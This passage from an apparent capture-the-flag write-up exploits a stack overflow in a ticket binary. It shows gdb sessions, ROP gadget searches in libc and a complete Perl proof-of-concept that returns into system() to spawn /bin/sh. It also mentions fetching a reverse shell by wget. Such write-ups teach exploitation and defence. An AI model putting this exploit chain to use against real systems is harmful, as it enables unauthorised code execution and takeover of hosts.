A match in the database would prompt the binary to return a generated token based on the user’s information.  However, what happens if we insert an unreasonably long entry in the database and then match it?

sysadmin@ctf-portal:~/ticket$ ./movie 'a:b'
Segmentation fault

Yup, memory corruption!  The application fails to check the length of the database entry before copying it onto the stack, resulting in a fairly straightforward stack-based overflow (which allows null bytes!).  Control over the return pointer / RIP was achieved at offset 1048:

sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) run 'a:b'
Starting program: /home/sysadmin/ticket/movie 'a:b'
db5b35a4de8aa0f6

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400e75 in confirmation ()
(gdb) x/i $rip
=> 0x400e75 :	retq
(gdb) x/xg $rsp
0x7fffffffe5c8:	0x4242424242424242

The game VMs were configured with NX enabled and ASLR disabled, however we still needed to write the exploit without hardcoded stack addresses due to the differing environments of each team.

For a separate command injection exploit in the competition, our payload method was just to inject a wget + chmod + execute command which fetched a reverse shell from one of our boxes.  With ASLR disabled, it was decided the simplest path for this exploit would be just to return to system() and execute the same command string, saving the trouble of writing shellcode and marking a region of memory (writable-)executable.

Since the x86_64 calling convention on Linux passes arguments via registers starting at RDI, we’d need to ROP a little to store the address of our command string in RDI before calling system() without using hardcoded stack addresses.  So we fire up ROPeMe and slice apart libc:

sysadmin@ctf-portal:~/ropeme64$ ./ropshell64
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate /lib/x86_64-linux-gnu/libc.so.6 4
Generating gadgets for /lib/x86_64-linux-gnu/libc.so.6 with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 22371 gadgets
Dumping asm gadgets to file: libc.so.6.ggt ...
OK

An initial search for gadgets that manipulate RDI produced some nice results:

ROPeMe> search mov rdi %
Searching for ROP gadget:  mov rdi % with constraints: []
0x163e02L: mov rdi [rdi+0x10] ; test rdi rdi ; jnz 0x163dfd ; pop rbx ;;
0x460d9L: mov rdi [rdi+0x68] ; xor eax eax ;;
0x6f2dcL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; mov rax 0xffffffffffffffff ;;
0x6f38cL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; xor eax eax ;;
0x487f0L: mov rdi rdx ; mov [rsi] al ; jnz 0x487d0 ; mov rax rsi ;;
0x11a194L: mov rdi rsp ; call rax ; add rsp 0x38 ;;
0x127d10L: mov rdi rsp ; call rdx ; add rsp 0x38 ;;

libc is nice enough to store the current RSP address to RDI and immediately CALL the value of either RAX or RDX.  If we store our command string directly at the end of the ROP chain, RDI should contain the correct address upon time of CALL.  We just need to find a “POP RAX” gadget to store the address of system() to and our exploit is complete.

ROPeMe> search pop rax
Searching for ROP gadget:  pop rax with constraints: []
0x23950L: pop rax ;;
0x476e7L: pop rax ;;
0x476e8L: pop rax ;;

The first one should do fine.  Add each gadget address to the base address of libc (0x7ffff6336000), obtained by inspecting /proc/pid/maps like so:

sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x400e7a
(gdb) run
Starting program: /home/sysadmin/ticket/movie 

Breakpoint 1, 0x0000000000400e7a in main ()
(gdb) shell
sysadmin@ctf-portal:~/ticket$ ps aux | grep movie
sysadmin  2662  0.2  1.0  50372 11160 pts/0    S    20:05   0:00 gdb --quiet ./movie
sysadmin  2664  0.0  0.0   4160   352 pts/0    t    20:05   0:00 /home/sysadmin/ticket/movie
sysadmin  2722  0.0  0.0   8104   920 pts/0    S+   20:05   0:00 grep --color=auto movie
sysadmin@ctf-portal:~/ticket$ grep libc /proc/2664/maps
7ffff7a1b000-7ffff7bd0000 r-xp 00000000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7bd0000-7ffff7dcf000 ---p 001b5000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dcf000-7ffff7dd3000 r--p 001b4000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dd3000-7ffff7dd5000 rw-p 001b8000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so

And our finished PoC looks like:

sysadmin@ctf-portal:~/ticket$ sudo su -
root@ctf-portal:~# perl -e'print "a:b:" . "A"x1044 . "\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . "\x60\x06\xa6\xf7\xff\x7f\x00\x00" . "\x94\x51\xb3\xf7\xff\x7f\x00\x00" . "/bin/sh"' > /usr/share/wordpress/data.txt
root@ctf-portal:~# logout
sysadmin@ctf-portal:~/ticket$ ./movie 'a:b'
2b7e6fb14408cb4f
$

Dissecting the exploit string for greater clarity:

Dissecting the exploit string for greater clarity:
"a:b:" . "A"x1044 .                  # Padding
"\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . # POP RAX
"\x60\x06\xa6\xf7\xff\x7f\x00\x00" . # &system
"\x94\x51\xb3\xf7\xff\x7f\x00\x00" . # MOV RDI, RSP; CALL RAX
"/bin/sh"                            # String literal "/bin/sh"

The actual exploit string required delivery over HTTP POST and a second request to the home page to trigger the exploit.